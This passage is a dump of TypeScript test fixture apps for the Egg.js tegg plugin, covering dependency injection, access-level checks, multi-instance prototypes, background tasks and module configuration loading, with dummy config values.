    "path": "tegg/plugin/tegg/test/fixtures/apps/access-level-check/modules/module-a/BarService.ts",
    "content": "import { AccessLevel, SingletonProto } from '@eggjs/tegg';\n\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport default class BarService {\n  public moduleABarServiceMethod() {\n    return 'moduleA-BarService-Method';\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/access-level-check/modules/module-a/FooService.ts",
    "content": "import { AccessLevel, SingletonProto, Inject } from '@eggjs/tegg';\n\nimport BarService from './BarService.js';\n\n@SingletonProto({\n  accessLevel: AccessLevel.PRIVATE,\n})\nexport default class FooService {\n  @Inject()\n  barService: BarService;\n\n  public moduleAFooServiceMethod() {\n    return 'moduleA-FooService-Method';\n  }\n\n  public moduleMainFooServiceInvokeBar(): string {\n    return this.barService.moduleABarServiceMethod();\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/access-level-check/modules/module-a/package.json",
    "content": "{\n  \"name\": \"module-a\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"moduleA\"\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/access-level-check/modules/module-main/BarService.ts",
    "content": "import { AccessLevel, SingletonProto } from '@eggjs/tegg';\n\n@SingletonProto({\n  accessLevel: AccessLevel.PRIVATE,\n})\nexport default class BarService {\n  public moduleMainBarServiceMethod() {\n    return 'moduleMain-BarService-Method';\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/access-level-check/modules/module-main/FooService.ts",
    "content": "import { AccessLevel, SingletonProto, Inject } from '@eggjs/tegg';\n\nimport BarService from './BarService.js';\n\n@SingletonProto({\n  accessLevel: AccessLevel.PRIVATE,\n})\nexport default class FooService {\n  @Inject()\n  barService: BarService;\n\n  public moduleMainFooServiceMethod() {\n    return 'moduleMain-FooService-Method';\n  }\n\n  public moduleMainFooServiceInvokeBar(): string {\n    return this.barService.moduleMainBarServiceMethod();\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/access-level-check/modules/module-main/MainService.ts",
    "content": "import { AccessLevel, SingletonProto, Inject } from '@eggjs/tegg';\n\nimport BarService from './BarService.js';\nimport FooService from './FooService.js';\n\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport default class MainService {\n  @Inject()\n  fooService: FooService;\n\n  @Inject()\n  barService: BarService;\n\n  public invokeFoo(): string {\n    return this.fooService.moduleMainFooServiceMethod();\n  }\n\n  public invokeBar(): string {\n    return this.barService.moduleMainBarServiceMethod();\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/access-level-check/modules/module-main/package.json",
    "content": "{\n  \"name\": \"module-main\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"moduleMain\"\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/access-level-check/modules/package.json",
    "content": "{\n  \"name\": \"egg-app\",\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/access-level-check/package.json",
    "content": "{\n  \"name\": \"egg-app\",\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/access-level-check/typings/index.d.ts",
    "content": "import MainService from '../modules/module-main/MainService.js';\n\ndeclare module 'egg' {\n  export interface EggModule {\n    moduleMain: {\n      mainService: MainService;\n    };\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/app-multi-inject-multi/app/modules/app/App.ts",
    "content": "import { Inject, SingletonProto } from '@eggjs/tegg';\n\nimport { BizManager, BizManagerQualifier } from '../bar/BizManager.ts';\n\n@SingletonProto()\nexport class App {\n  @Inject()\n  @BizManagerQualifier('foo')\n  bizManager: BizManager;\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/app-multi-inject-multi/app/modules/app/module.yml",
    "content": "BizManager:\n  clients:\n    foo: {}\n    bar: {}\n\nsecret:\n  keys:\n    - '1'\n    - '2'\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/app-multi-inject-multi/app/modules/app/package.json",
    "content": "{\n  \"name\": \"app\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"app\"\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/app-multi-inject-multi/app/modules/app2/App.ts",
    "content": "import { Inject, SingletonProto } from '@eggjs/tegg';\n\nimport { Secret, SecretQualifier } from '../foo/Secret.ts';\n\n@SingletonProto()\nexport class App2 {\n  @Inject()\n  @SecretQualifier('app2')\n  secret: Secret;\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/app-multi-inject-multi/app/modules/app2/module.yml",
    "content": "secret:\n  keys:\n    - '1'\n    - '2'\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/app-multi-inject-multi/app/modules/app2/package.json",
    "content": "{\n  \"name\": \"app2\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"app2\"\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/app-multi-inject-multi/app/modules/bar/BizManager.ts",
    "content": "import {\n  MultiInstanceProto,\n  AccessLevel,\n  Inject,\n  ObjectInitType,\n  type ObjectInfo,\n  type MultiInstancePrototypeGetObjectsContext,\n  MultiInstanceInfo,\n} from '@eggjs/tegg';\nimport { type EggProtoImplClass, QualifierUtil } from '@eggjs/tegg';\nimport { ModuleConfigUtil } from '@eggjs/tegg-common-util';\n\nimport { Secret, SecretQualifierAttribute } from '../foo/Secret.ts';\n\nexport const BizManagerQualifierAttribute: symbol = Symbol.for('Qualifier.BizManager');\nexport const BizManagerInjectName = 'bizManager';\n\nexport function BizManagerQualifier(chatModelName: string) {\n  return function (target: any, propertyKey: PropertyKey): void {\n    QualifierUtil.addProperQualifier(\n      target.constructor as EggProtoImplClass,\n      propertyKey,\n      BizManagerQualifierAttribute,\n      chatModelName,\n    );\n  };\n}\n\n@MultiInstanceProto({\n  accessLevel: AccessLevel.PUBLIC,\n  initType: ObjectInitType.SINGLETON,\n  // 从 module.yml 中动态获取配置来决定需要初始化几个对象\n  getObjects(ctx: MultiInstancePrototypeGetObjectsContext) {\n    const config = ModuleConfigUtil.loadModuleConfigSync(ctx.unitPath) as any;\n    const name = ModuleConfigUtil.readModuleNameSync(ctx.unitPath);\n    const clients = config?.BizManager?.clients;\n    if (!clients) return [];\n    return Object.keys(clients).map((clientName: string) => {\n      return {\n        name: BizManagerInjectName,\n        qualifiers: [\n          {\n            attribute: BizManagerQualifierAttribute,\n            value: clientName,\n          },\n        ],\n        properQualifiers: {\n          secret: [\n            {\n              attribute: SecretQualifierAttribute,\n              value: name,\n            },\n          ],\n        },\n      };\n    });\n  },\n})\nexport class BizManager {\n  readonly name: string;\n  readonly secret: string;\n\n  constructor(@Inject() secret: Secret, @MultiInstanceInfo([BizManagerQualifierAttribute]) objInfo: ObjectInfo) {\n    this.name = objInfo.qualifiers.find((t) => t.attribute === BizManagerQualifierAttribute)!.value as string;\n    this.secret = secret.getSecret(this.name);\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/app-multi-inject-multi/app/modules/bar/package.json",
    "content": "{\n  \"name\": \"bar\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"bar\"\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/app-multi-inject-multi/app/modules/foo/Secret.ts",
    "content": "import {\n  MultiInstanceProto,\n  type MultiInstancePrototypeGetObjectsContext,\n  ObjectInitType,\n  AccessLevel,\n  QualifierUtil,\n} from '@eggjs/tegg';\nimport type { EggProtoImplClass } from '@eggjs/tegg';\nimport { ModuleConfigUtil } from '@eggjs/tegg/helper';\n\nexport const SecretQualifierAttribute: symbol = Symbol.for('Qualifier.Secret');\nexport const SecretInjectName = 'secret';\n\nexport function SecretQualifier(chatModelName: string) {\n  return function (target: any, propertyKey: PropertyKey): void {\n    QualifierUtil.addProperQualifier(\n      target.constructor as EggProtoImplClass,\n      propertyKey,\n      SecretQualifierAttribute,\n      chatModelName,\n    );\n  };\n}\n\n@MultiInstanceProto({\n  accessLevel: AccessLevel.PUBLIC,\n  initType: ObjectInitType.SINGLETON,\n  getObjects(ctx: MultiInstancePrototypeGetObjectsContext) {\n    const config = ModuleConfigUtil.loadModuleConfigSync(ctx.unitPath) as any;\n    const keys = config?.secret?.keys;\n    if (!keys || keys.length === 0) return [];\n    const name = ModuleConfigUtil.readModuleNameSync(ctx.unitPath);\n    return [\n      {\n        name: SecretInjectName,\n        qualifiers: [\n          {\n            attribute: SecretQualifierAttribute,\n            value: name,\n          },\n        ],\n      },\n    ];\n  },\n})\nexport class Secret {\n  getSecret(key: string): string {\n    return key + '233';\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/app-multi-inject-multi/app/modules/foo/package.json",
    "content": "{\n  \"name\": \"foo\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"foo\"\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/app-multi-inject-multi/config/config.default.ts",
    "content": "import { type EggAppConfig } from 'egg';\n\nexport default function (): EggAppConfig {\n  const config = {\n    keys: 'test key',\n    security: {\n      csrf: {\n        ignoreJSON: false,\n      },\n    },\n  };\n  return config as unknown as EggAppConfig;\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/app-multi-inject-multi/config/plugin.ts",
    "content": "export default {\n  tracer: {\n    package: '@eggjs/tracer',\n    enable: true,\n  },\n  teggConfig: {\n    package: '@eggjs/tegg-config',\n    enable: true,\n  },\n  tegg: {\n    package: '@eggjs/tegg-plugin',\n    enable: true,\n  },\n  watcher: false,\n};\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/app-multi-inject-multi/package.json",
    "content": "{\n  \"name\": \"app-multi-inject-multi\",\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/app-with-no-module-json/app/controller/app.ts",
    "content": "import { Controller } from 'egg';\n\nexport default class App extends Controller {\n  async baseDir(): Promise<void> {\n    const baseDir = await this.ctx.app.module.config.configService.getBaseDir();\n    this.ctx.body = {\n      baseDir,\n    };\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/app-with-no-module-json/app/extend/application.unittest.ts",
    "content": "import { type MockApplication } from '@eggjs/mock';\n\nexport default {\n  mockUser(this: MockApplication): void {\n    this.mockContext({\n      user: {\n        userName: 'mock_user',\n      },\n    });\n  },\n};\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/app-with-no-module-json/app/extend/context.ts",
    "content": "export default {\n  __COUNTER__: 0,\n  get counter(): number {\n    if (!this.__COUNTER__) {\n      this.__COUNTER__ = 0;\n    }\n    return this.__COUNTER__++;\n  },\n\n  get user() {\n    return {};\n  },\n};\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/app-with-no-module-json/app/router.ts",
    "content": "import type { Application } from 'egg';\n\nexport default (app: Application): void => {\n  app.router.get('/config', app.controller.app.baseDir);\n};\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/app-with-no-module-json/app/typings/index.d.ts",
    "content": "import 'egg';\nimport ConfigService from '../../modules/config-module/ConfigService.ts';\n\ndeclare module 'egg' {\n  export interface EggModule {\n    config: {\n      configService: ConfigService;\n    };\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/app-with-no-module-json/config/config.default.ts",
    "content": "import path from 'node:path';\n\nimport { type EggAppConfig, type EggAppInfo } from 'egg';\n\nexport default function (appInfo: EggAppInfo): EggAppConfig {\n  const config = {\n    keys: 'test key',\n    customLogger: {\n      xxLogger: {\n        file: path.join(appInfo.root, 'logs/xx.log'),\n      },\n    },\n    security: {\n      csrf: {\n        ignoreJSON: false,\n      },\n    },\n  };\n  return config as unknown as EggAppConfig;\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/app-with-no-module-json/config/plugin.ts",
    "content": "export default {\n  tracer: {\n    package: '@eggjs/tracer',\n    enable: true,\n  },\n  teggConfig: {\n    package: '@eggjs/tegg-config',\n    enable: true,\n  },\n  tegg: {\n    package: '@eggjs/tegg-plugin',\n    enable: true,\n  },\n  watcher: false,\n};\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/app-with-no-module-json/modules/config-module/ConfigService.ts",
    "content": "import { AccessLevel, SingletonProto, Inject } from '@eggjs/tegg';\nimport { type EggAppConfig } from 'egg';\n\ninterface XSessionUser {\n  userName: string;\n}\n\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport default class ConfigService {\n  @Inject()\n  user: XSessionUser;\n\n  @Inject()\n  config: EggAppConfig;\n\n  getBaseDir(): string {\n    return this.config.baseDir;\n  }\n\n  async getCurrentUserName(): Promise<string> {\n    return this.user.userName;\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/app-with-no-module-json/modules/config-module/package.json",
    "content": "{\n  \"name\": \"config-module\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"config\"\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/app-with-no-module-json/package.json",
    "content": "{\n  \"name\": \"egg-app\",\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/background-app/app/controller/app.ts",
    "content": "import { Controller } from 'egg';\n\nimport BackgroundService from '../../modules/multi-module-background/BackgroundService.ts';\n\nexport default class App extends Controller {\n  async background(): Promise<void> {\n    const backgroundService = await this.ctx.app.getEggObject(BackgroundService);\n    await backgroundService.backgroundAdd();\n    this.ctx.status = 200;\n    this.ctx.body = 'done';\n  }\n\n  async backgroudTimeout(): Promise<void> {\n    const backgroundService = await this.ctx.app.getEggObject(BackgroundService);\n    await backgroundService.backgroundAdd(6000);\n    this.ctx.status = 200;\n    this.ctx.body = 'done';\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/background-app/app/router.ts",
    "content": "import { Application } from 'egg';\n\nexport default (app: Application): void => {\n  app.router.get('/background', app.controller.app.background);\n  app.router.get('/backgroudTimeout', app.controller.app.backgroudTimeout);\n};\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/background-app/app/typings/index.d.ts",
    "content": "import 'egg';\nimport AppService from '../../modules/multi-module-service/AppService.ts';\nimport TraceService from '../../modules/multi-module-service/TraceService.ts';\n\ndeclare module 'egg' {\n  export interface EggModule {\n    // multiModuleService: {\n    //   traceService: TraceService;\n    //   appService: AppService;\n    // }\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/background-app/config/config.default.ts",
    "content": "import path from 'node:path';\n\nimport { type EggAppConfig, type EggAppInfo } from 'egg';\n\nexport default function (appInfo: EggAppInfo): EggAppConfig {\n  const config = {\n    keys: 'test key',\n    customLogger: {\n      xxLogger: {\n        file: path.join(appInfo.root, 'logs/xx.log'),\n      },\n    },\n    security: {\n      csrf: {\n        ignoreJSON: false,\n      },\n    },\n    backgroundTask: {\n      timeout: Infinity,\n    },\n  };\n  return config as unknown as EggAppConfig;\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/background-app/config/module.json",
    "content": "[\n  {\n    \"path\": \"../modules/multi-module-background\"\n  }\n]\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/background-app/config/plugin.ts",
    "content": "export default {\n  tracer: {\n    package: '@eggjs/tracer',\n    enable: true,\n  },\n\n  teggConfig: {\n    package: '@eggjs/tegg-config',\n    enable: true,\n  },\n\n  watcher: false,\n\n  tegg: {\n    package: '@eggjs/tegg-plugin',\n    enable: true,\n  },\n};\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/background-app/modules/multi-module-background/BackgroundService.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { BackgroundTaskHelper } from '@eggjs/background-task';\nimport { AccessLevel, SingletonProto, Inject, ContextProto } from '@eggjs/tegg';\nimport { TimerUtil } from '@eggjs/tegg-common-util';\n\nimport { CountService } from './CountService.ts';\n\n@ContextProto()\nexport class TestObj {\n  ok = true;\n}\n\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport default class BackgroundService {\n  @Inject()\n  private readonly backgroundTaskHelper: BackgroundTaskHelper;\n\n  @Inject()\n  testObj: TestObj;\n\n  @Inject()\n  private readonly countService: CountService;\n\n  async backgroundAdd(delay = 1000): Promise<void> {\n    this.backgroundTaskHelper.timeout = 5000;\n    this.backgroundTaskHelper.run(async () => {\n      await TimerUtil.sleep(delay);\n      assert(this.testObj.ok);\n      this.countService.count += 1;\n    });\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/background-app/modules/multi-module-background/CountService.ts",
    "content": "import { SingletonProto } from '@eggjs/tegg';\n\n@SingletonProto()\nexport class CountService {\n  count = 0;\n  foo: string;\n  constructor(foo: string) {\n    this.foo = foo;\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/background-app/modules/multi-module-background/package.json",
    "content": "{\n  \"name\": \"backgroundModule\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"backgroundModule\"\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/background-app/package.json",
    "content": "{\n  \"name\": \"egg-app\",\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/close-test-app/app/schedule/foo.ts",
    "content": "import { Subscription } from 'egg';\n\nimport AppService from '../../modules/multi-module-service/AppService.js';\n\nexport default class Foo extends Subscription {\n  static get schedule() {\n    return {\n      interval: '1m',\n      type: 'all',\n    };\n  }\n\n  async subscribe(): Promise<void> {\n    await this.ctx.beginModuleScope(async () => {\n      const appService = await this.ctx.getEggObject(AppService);\n      await appService.findApp();\n      // await this.ctx.app.module.multiModuleService.appService.findApp();\n    });\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/close-test-app/config/module.json",
    "content": "[\n  {\n    \"path\": \"../modules/multi-module-service\"\n  },\n  {\n    \"path\": \"../modules/multi-module-repo\"\n  }\n]\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/close-test-app/config/plugin.ts",
    "content": "export default {\n  tracer: {\n    package: '@eggjs/tracer',\n    enable: true,\n  },\n\n  teggConfig: {\n    package: '@eggjs/tegg-config',\n    enable: true,\n  },\n\n  tegg: {\n    package: '@eggjs/tegg-plugin',\n    enable: true,\n  },\n\n  teggEventbus: false,\n  teggController: false,\n  teggDal: false,\n  teggSchedule: false,\n  teggOrm: false,\n  teggAjv: false,\n  teggAop: false,\n\n  watcher: false,\n};\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/close-test-app/modules/multi-module-repo/AppRepo.ts",
    "content": "import { AccessLevel, SingletonProto } from '@eggjs/tegg';\n\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport default class AppRepo {\n  public async findApp(): Promise<Record<string, any>> {\n    return {};\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/close-test-app/modules/multi-module-repo/package.json",
    "content": "{\n  \"name\": \"multi-module-repo\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"multi-module-repo\"\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/close-test-app/modules/multi-module-service/AppService.ts",
    "content": "import { AccessLevel, SingletonProto, Inject } from '@eggjs/tegg';\n\nimport AppRepo from '../multi-module-repo/AppRepo.js';\n\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport default class AppService {\n  @Inject()\n  appRepo: AppRepo;\n\n  findApp(): Promise<Record<string, any>> {\n    return this.appRepo.findApp();\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/close-test-app/modules/multi-module-service/package.json",
    "content": "{\n  \"name\": \"multi-module-service\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"multiModuleService\"\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/close-test-app/package.json",
    "content": "{\n  \"name\": \"close-test-app\",\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/constructor-module-config/app/controller/app.ts",
    "content": "import { Controller } from 'egg';\n\nexport default class App extends Controller {\n  async baseDir(): Promise<void> {\n    this.ctx.body = {\n      foo: this.app.module.constructorSimple.foo.foo,\n      bar: this.app.module.constructorSimple.foo.bar,\n    };\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/constructor-module-config/app/extend/application.unittest.ts",
    "content": "import { type MockApplication } from '@eggjs/mock';\n\nexport default {\n  mockUser(this: MockApplication): void {\n    this.mockContext({\n      user: {\n        userName: 'mock_user',\n      },\n    });\n  },\n};\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/constructor-module-config/app/extend/context.ts",
    "content": "export default {\n  __COUNTER__: 0,\n  get counter(): number {\n    if (!this.__COUNTER__) {\n      this.__COUNTER__ = 0;\n    }\n    return this.__COUNTER__++;\n  },\n\n  get user() {\n    return {};\n  },\n};\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/constructor-module-config/app/router.ts",
    "content": "import { Application } from 'egg';\n\nexport default (app: Application): void => {\n  app.router.get('/config', app.controller.app.baseDir);\n};\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/constructor-module-config/app.ts",
    "content": "import { Application } from 'egg';\n\nexport default class AppBoot {\n  app: Application;\n\n  constructor(app: Application) {\n    this.app = app;\n  }\n\n  configWillLoad(): void {\n    if (this.app.moduleConfigs?.overwrite?.config) {\n      (this.app.moduleConfigs.overwrite.config as Record<string, any>).features.dynamic.bar = 'overwrite foo';\n    }\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/constructor-module-config/config/config.default.ts",
    "content": "import path from 'node:path';\n\nimport { type EggAppConfig, type EggAppInfo } from 'egg';\n\nexport default function (appInfo: EggAppInfo): EggAppConfig {\n  const config = {\n    keys: 'test key',\n    customLogger: {\n      xxLogger: {\n        file: path.join(appInfo.root, 'logs/xx.log'),\n      },\n    },\n    security: {\n      csrf: {\n        ignoreJSON: false,\n      },\n    },\n  };\n  return config as unknown as EggAppConfig;\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/constructor-module-config/config/plugin.ts",
    "content": "export default {\n  tracer: {\n    package: '@eggjs/tracer',\n    enable: true,\n  },\n  teggConfig: {\n    package: '@eggjs/tegg-config',\n    enable: true,\n  },\n  watcher: false,\n  tegg: {\n    package: '@eggjs/tegg-plugin',\n    enable: true,\n  },\n};\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/constructor-module-config/modules/module-with-config/foo.ts",
    "content": "import { AccessLevel, Inject, SingletonProto } from '@eggjs/tegg';\nimport { EggLogger } from 'egg-logger';\n\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class Foo {\n  readonly foo: string;\n  readonly bar: string;\n\n  constructor(\n    @Inject() moduleConfig: Record<string, any>,\n    // @ts-expect-error readonly property in constructor\n    @Inject() readonly logger: EggLogger,\n  ) {\n    this.foo = moduleConfig.features.dynamic.foo;\n    this.bar = moduleConfig.features.dynamic.bar;\n  }\n\n  log(): void {\n    this.logger.info('foo');\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/constructor-module-config/modules/module-with-config/module.unittest.yml",
    "content": "features:\n  dynamic:\n    bar: 'foo'\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/constructor-module-config/modules/module-with-config/module.yml",
    "content": "features:\n  dynamic:\n    foo: 'bar'\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/constructor-module-config/modules/module-with-config/package.json",
    "content": "{\n  \"name\": \"constructorSimple\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"constructorSimple\"\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/constructor-module-config/package.json",
    "content": "{\n  \"name\": \"egg-app\",\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/constructor-module-config/typings/index.d.ts",
    "content": "import 'egg';\nimport { Foo } from '../modules/module-with-config/foo.ts';\n\ndeclare module 'egg' {\n  export interface EggModule {\n    constructorSimple: {\n      foo: Foo;\n    };\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/dynamic-inject-app/app/controller/app.ts",
    "content": "import { Controller } from 'egg';\n\nimport { HelloService } from '../../modules/dynamic-inject-module/HelloService.ts';\nimport { SingletonHelloService } from '../../modules/dynamic-inject-module/SingletonHelloService.ts';\n\nexport default class App extends Controller {\n  async dynamicInject(): Promise<void> {\n    // const helloService = await this.ctx.module.dynamicInjectModule.helloService;\n    const helloService = await this.ctx.getEggObject(HelloService);\n    const msgs = await helloService.hello();\n    this.ctx.status = 200;\n    this.ctx.body = msgs;\n  }\n\n  async singletonDynamicInject(): Promise<void> {\n    // const helloService = await this.app.module.dynamicInjectModule.singletonHelloService;\n    const helloService = await this.app.getEggObject(SingletonHelloService);\n    const msgs = await helloService.hello();\n    this.ctx.status = 200;\n    this.ctx.body = msgs;\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/dynamic-inject-app/app/router.ts",
    "content": "import type { Application } from 'egg';\n\nexport default (app: Application): void => {\n  app.router.get('/dynamicInject', app.controller.app.dynamicInject);\n  app.router.get('/singletonDynamicInject', app.controller.app.singletonDynamicInject);\n};\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/dynamic-inject-app/app/typings/index.d.ts",
    "content": "import 'egg';\nimport { HelloService } from '../../modules/dynamic-inject-module/HelloService.ts';\nimport { SingletonHelloService } from '../../modules/dynamic-inject-module/SingletonHelloService.ts';\n\ndeclare module 'egg' {\n  export interface EggModule {\n    dynamicInjectModule: {\n      helloService: HelloService;\n      singletonHelloService: SingletonHelloService;\n    };\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/dynamic-inject-app/config/config.default.ts",
    "content": "import path from 'node:path';\n\nimport { type EggAppConfig, type EggAppInfo } from 'egg';\n\nexport default function (appInfo: EggAppInfo): EggAppConfig {\n  const config = {\n    keys: 'test key',\n    customLogger: {\n      xxLogger: {\n        file: path.join(appInfo.root, 'logs/xx.log'),\n      },\n    },\n    security: {\n      csrf: {\n        ignoreJSON: false,\n      },\n    },\n  };\n  return config as unknown as EggAppConfig;\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/dynamic-inject-app/config/module.json",
    "content": "[\n  {\n    \"path\": \"../modules/dynamic-inject-module\"\n  }\n]\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/dynamic-inject-app/config/plugin.ts",
    "content": "export default {\n  tracer: {\n    package: '@eggjs/tracer',\n    enable: true,\n  },\n  teggConfig: {\n    package: '@eggjs/tegg-config',\n    enable: true,\n  },\n  watcher: false,\n  tegg: {\n    package: '@eggjs/tegg-plugin',\n    enable: true,\n  },\n};\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/dynamic-inject-app/modules/dynamic-inject-module/AbstractContextHello.ts",
    "content": "export abstract class AbstractContextHello {\n  abstract hello(): string;\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/dynamic-inject-app/modules/dynamic-inject-module/AbstractSingletonHello.ts",
    "content": "export abstract class AbstractSingletonHello {\n  abstract hello(): string;\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/dynamic-inject-app/modules/dynamic-inject-module/FooType.ts",
    "content": "export const ContextHelloType = {\n  FOO: 'FOO',\n  BAR: 'BAR',\n} as const;\nexport type ContextHelloType = (typeof ContextHelloType)[keyof typeof ContextHelloType];\n\nexport const SingletonHelloType = {\n  FOO: 'FOO',\n  BAR: 'BAR',\n} as const;\nexport type SingletonHelloType = (typeof SingletonHelloType)[keyof typeof SingletonHelloType];\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/dynamic-inject-app/modules/dynamic-inject-module/HelloService.ts",
    "content": "import { AccessLevel, ContextProto, Inject, type EggObjectFactory } from '@eggjs/tegg';\n\nimport { AbstractContextHello } from './AbstractContextHello.ts';\nimport { AbstractSingletonHello } from './AbstractSingletonHello.ts';\nimport { ContextHelloType, SingletonHelloType } from './FooType.ts';\n\n@ContextProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class HelloService {\n  @Inject()\n  private readonly eggObjectFactory: EggObjectFactory;\n\n  async hello(): Promise<string[]> {\n    const helloImpls = await Promise.all([\n      this.eggObjectFactory.getEggObject(AbstractContextHello, ContextHelloType.FOO),\n      this.eggObjectFactory.getEggObject(AbstractContextHello, ContextHelloType.BAR),\n      this.eggObjectFactory.getEggObject(AbstractSingletonHello, SingletonHelloType.FOO),\n      this.eggObjectFactory.getEggObject(AbstractSingletonHello, SingletonHelloType.BAR),\n    ]);\n    const msgs = helloImpls.map((helloImpl) => helloImpl.hello());\n    return msgs;\n  }\n}\n"
  },
  {
